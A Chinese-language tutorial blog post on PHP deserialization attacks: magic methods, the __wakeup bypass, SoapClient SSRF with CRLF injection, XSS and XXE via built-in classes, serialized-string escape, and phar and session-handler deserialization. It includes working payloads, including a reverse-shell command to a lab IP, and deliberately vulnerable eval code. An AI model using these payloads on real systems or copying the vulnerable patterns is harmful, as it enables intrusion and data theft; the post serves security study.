PHP反序列化学习

PHP反序列化基础

php中使用serialize()函数和unserialize()函数对变量进行序列化与反序列化。unserialize()函数在反序列化过程中发生了错误会返回false。

1
2
3
4
5
6
7
<?php
class persion{
    public $name="eastjun";
    public $age=19;
    public $isAdmin=true;
}
echo serialize(new persion());

执行上面的代码将会输出O:7:"persion":3:{s:4:"name";s:7:"eastjun";s:3:"age";i:19;s:7:"isAdmin";b:1;}

利用反序列化进行攻击需要找到php中的魔术方法,魔术方法在满足一定条件时会自动调用,常见魔术方法如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
__construct()     //构造函数,创建对象时调用
__destruct()      //析构函数,对象被销毁时调用
__call()          //在对象中调用一个不可访问方法时
__callStatic()    //在静态上下文中调用一个不可访问方法时
__get()           //读取不可访问属性的值时
__set()           //在给不可访问属性赋值时
__iset()          //当对不可访问属性调用 isset() 或 empty() 时
__unset()         //当对不可访问属性调用 unset() 时
__sleep()         //序列化对象前调用
__wakeup()        //反序列化恢复对象前调用
__toString()      //对象被当成字符串使用时
__invoke()        //尝试以调用函数的方式调用一个对象时

__wakeup函数绕过(CVE-2016-7124)

在PHP5 < 5.6.25、PHP7 < 7.0.10的版本中,当成员属性数目大于实际数目时可绕过__wakeup方法,例如O:7:"persion":4:{s:4:"name";s:7:"eastjun";s:3:"age";i:19;s:7:"isAdmin";b:1;}在上述版本的PHP进行反序列化时不会执行__wakeup()方法。

public、private、protected反序列化

序列化时如果对象的属性被(public、private、protected)修饰时,属性的名称不同,private和protected类型的属性在序列化时会出现不可见字符%00

  • public:序列化时属性名不变
  • private:序列化时属性名为%00*%00属性名
  • protected:序列化时属性名为%00类名%00属性名

原生类利用

SoapClient

php中存在内置原生类SoapClient(需要php安装soap扩展),利用SoapClient类可以进行SSRF,我的环境是在docker中的,需要先安装Soap模块然后重启apache2:

1
apt install -y libxml++2 && docker-php-ext-install soap

php在调用某个对象不存在的函数时会调用该对象的__call方法,调用SoapClient类的__call方法时可以进行SSRF攻击

SSRF测试代码:

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'aaaa', 'location'=>'http://172.20.249.108:7777/eastjun'));
$b = serialize($a);
echo urlencode($b);
$c = unserialize($b);
$c->notexist();

执行结果如下:

20210723202018

还可以通过CRLF注入进行更深入的利用:

1
2
3
4
5
6
7
<?php
$poc = "Cookie: PHPSESSID=123456";
$a = new SoapClient(null,array('uri'=>"aaaa\r\n".$poc."\r\n", 'location'=>'http://172.20.249.108:7777/eastjun'));
$b = serialize($a);
echo urlencode($b);
$c = unserialize($b);
$c->notexist();

执行结果: 20210723204901

在SoapClient构造方法的PHP文档中可以找到:

The user_agent option specifies string to use in User-Agent header.

在SoapClient的第二个参数中可以自定义SoapClient的UA,于是可以通过在UA处进行CRLF注入将Content-Type挤下达到攻击内网WEB服务的目的,因为有Content-Length,服务器会忽略shell=xxx后面的部分

20210723233430

例如写下这样一段代码放在docker环境中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       eval($_POST['shell']);
   }
else{
    echo "not localhost";
}
$a=unserialize($_GET['ser']);
$a->notexist();
?>

直接用浏览器访问是访问不到的,但是有反序列化,可通过SoapClient类构造POST请求进行SSRF

1
2
3
4
5
<?php
$poc = "shell=".urlencode('system("bash -c \'bash -i >& /dev/tcp/172.20.249.108/7777 0>&1\'");?>');
$a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/shell.php',"user_agent"=>"Eastrome\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false));
$b = serialize($a);
echo urlencode($b);

反序列化后可以反弹shell

Error/Exception

__toString()方法在对象被当成字符串使用时调用,Exception类没有对错误消息进行过滤,反序列化后输出的内容在网页中可以造成xss。

测试代码如下:

1
2
3
4
<?php
$poc = "<script>alert(1);</script>";
$b = serialize(new Exception($poc));
echo unserialize($b);

可以触发xss

SimpleXMLElement

反序列化通常无法调用类的__construct方法,但在某些情况下(例如下面的一段代码)可以进行任意类实例化,能够调用__construct方法,可以进行XXE。

1
2
3
4
5
6
7
8
<?php
if(class_exists($classname)&&isset($_GET['name'])&&isset($_GET['param'])&&isset($_GET['param2'])){
    $classname = $_GET['name'];
    $param = $_GET['param'];
    $param2 = $_GET['param2'];
    $a = new $classname($param,$param2);
    echo $a;
}

payload:

1
?name=SimpleXMLElement&param=<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>%26xxe;</root>&param2=2

反序列化字符逃逸

对用户的输入没有正确过滤,然后进行反序列化,需要序列化的字符串在过滤后有长度的变化,反序列化字符串逃逸有字符串变长和变短两种类型:

变长

例如下面的一段代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
function filter($str){
    return str_replace("jan", "hacker", $str);
}
class A{
    public $user = "jun";
    public $file = "pic.jpg";
    public function show(){
        echo '<img src="data:image/jpg;base64,'.base64_encode(file_get_contents($this->file)).'" alt="" />';
    }
}
$a = new A();
if(isset($_GET['user'])){
    $a->user=$_GET['user'];
    $a = unserialize(filter(serialize($a)));
}
echo $a->file;
$a->show();

unserialize函数在得到足够的字符后读取到}时认为反序列化已经结束,不会读取后面的字符,

如果输入的user参数为janjanjanjanjanjanjanjanjanjanjan";s:4:"file";s:11:"/etc/passwd";},经过序列化得到的字符串和经过过滤后得到的字符串如下:

1
2
3
4
//序列化字符串:
O:1:"A":2:{s:4:"user";s:66:"janjanjanjanjanjanjanjanjanjanjan";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
//经过过滤后:
O:1:"A":2:{s:4:"user";s:66:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}

经过反序列化则其中的$file参数会变为/etc/passwd,类中的参数变得可控

变短

例如这样一段代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
function filter($str){
    return preg_replace("/eastjun|hack/", "", $str);
}
class A{
    public $user = "jun";
    public $pass = "123456";
    public $file = "pic.jpg";
    public function show(){
        echo '<img src="data:image/jpg;base64,'.base64_encode(file_get_contents($this->file)).'" alt="" />';
    }
}
$a = new A();
if(isset($_GET['user'])&&isset($_GET['pass'])){
    $a->user=$_GET['user'];
    $a->pass=$_GET['pass'];
    $a = unserialize(filter(serialize($a)));
}
echo $a->file;
$a->show();

变短的反序列化需要两个参数

首先使得pass的值设置为;s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";},打印出序列化字符串为O:1:"A":3:{s:4:"user";s:3:"jun";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";},只要使得user的参数被filter函数过滤为空,将后面的";s:4:"pass";s:56:吃掉就能修改file的值为/etc/passwd

所以需要user的值为eastjuneastjunhack,pass的值为;s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";},经过序列化得到的字符串和经过过滤后得到的字符串如下:

1
2
3
4
//序列化字符串:
O:1:"A":3:{s:4:"user";s:18:"eastjuneastjunhack";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
//经过过滤后:
O:1:"A":3:{s:4:"user";s:18:"";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}

Phar反序列化

phar是一种类似jar的打包文件,它的本质是一种特殊的压缩包。

phar由stub/manifest/contents/signature四部分组成:

  1. stub:是phar文件标识,前面的内容不限,以__HALT_COMPILER();结尾,?>是可选的
  2. manifest:储存压缩包属性信息,其中以序列化的形式储存了Meta-data
  3. contents:压缩文件的内容
  4. signature:储存签名信息

在进行文件操作的时候使用phar协议会触发反序列化,例如file_exists()、fopen()、filesize()、include()等函数。

受影响的函数如下(来自seebug):

受影响函数列表
fileatimefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile

这里还有一些其他的可用于phar反序列化的函数

下面的代码可用于测试phar反序列化:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
highlight_file(__FILE__);
class A{
	public $cmd = "";
	public function __destruct(){
		eval($this->cmd);
	}
}

if(isset($_GET['file'])){
	$file = $_GET['file'];
	echo file_exists($file);
}

生成phar文件首先需要将php.ini中的phar.readonly设置为Off或0,phar生成代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
Class A{
	public $cmd = "phpinfo();";
	public function __destruct(){
		echo $this->cmd;
	}
}
$a = new A();
$p = new Phar("eastjun.phar",0);
$p->startBuffering();
$p->setMetadata($a);
$p->setStub("GIF89a__HALT_COMPILER();");
$p->addFromString("test.txt","a test text");
$p->stopBuffering();

将生成的phar文件丢到010editor中可以看到序列化的字符串:

20210724165401

将生成的phar文件传到服务器上然后用GET方法传入file=phar://eastjun.phar/test.txt就能进行反序列化执行phpinfo()

在实际利用的过程中需要有文件上传点、文件操作的函数以及phar://伪协议

Session反序列化

php存在一些默认的session处理器:php、php_binary、php_serialize,三种处理器保存session的格式不同,保存session的时候会经过序列化,读取时进行反序列化:

处理器存储格式
php键名+竖线+经过serialize()函数处理后的字符串
php_binary键名长度对应的ASCII字符+键名+经过serialize()函数处理后的字符串
php_serialize经过serialize()函数处理后的字符串

三种处理器保存的session如下:

1
2
3
4
5
6
//php处理器
name|s:7:"eastjun";
//php_serialize处理器
a:1:{s:4:"name";s:7:"eastjun";}
//php_binary处理器
names:7:"eastjun";

php的session机制没有问题,但是session使用不当,例如session保存与读取使用的处理器不一致时会出问题。

例如在session.php中写入

1
2
3
4
5
6
7
8
9
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION["name"]='eastjun';
if(isset($_GET['name'])){
    $_SESSION["name"]=$_GET['name'];
}
var_dump($_SESSION);
?>

在session_ser.php中写入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
//使用默认的php处理器处理session
class A{
	public $cmd = "phpinfo();";
	public function __destruct(){
		eval($this->cmd);
	}
}
session_start();
var_dump($_SESSION);

使用php_serialize处理器保存session,使用php处理器读取session,传入的name参数为|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}时:

php_serialize处理器保存的session为

a:1:{s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";}

php处理器读取的session为

a:1:{s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";}

然后php处理器会将后面的O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";}字符串进行反序列化

Referer

利用 phar 拓展 php 反序列化漏洞攻击面

由 PHPGGC 理解 PHP 反序列化漏洞

phar扩展php反序列化的攻击面

PHP反序列化入门之session反序列化

updatedupdated2023-05-202023-05-20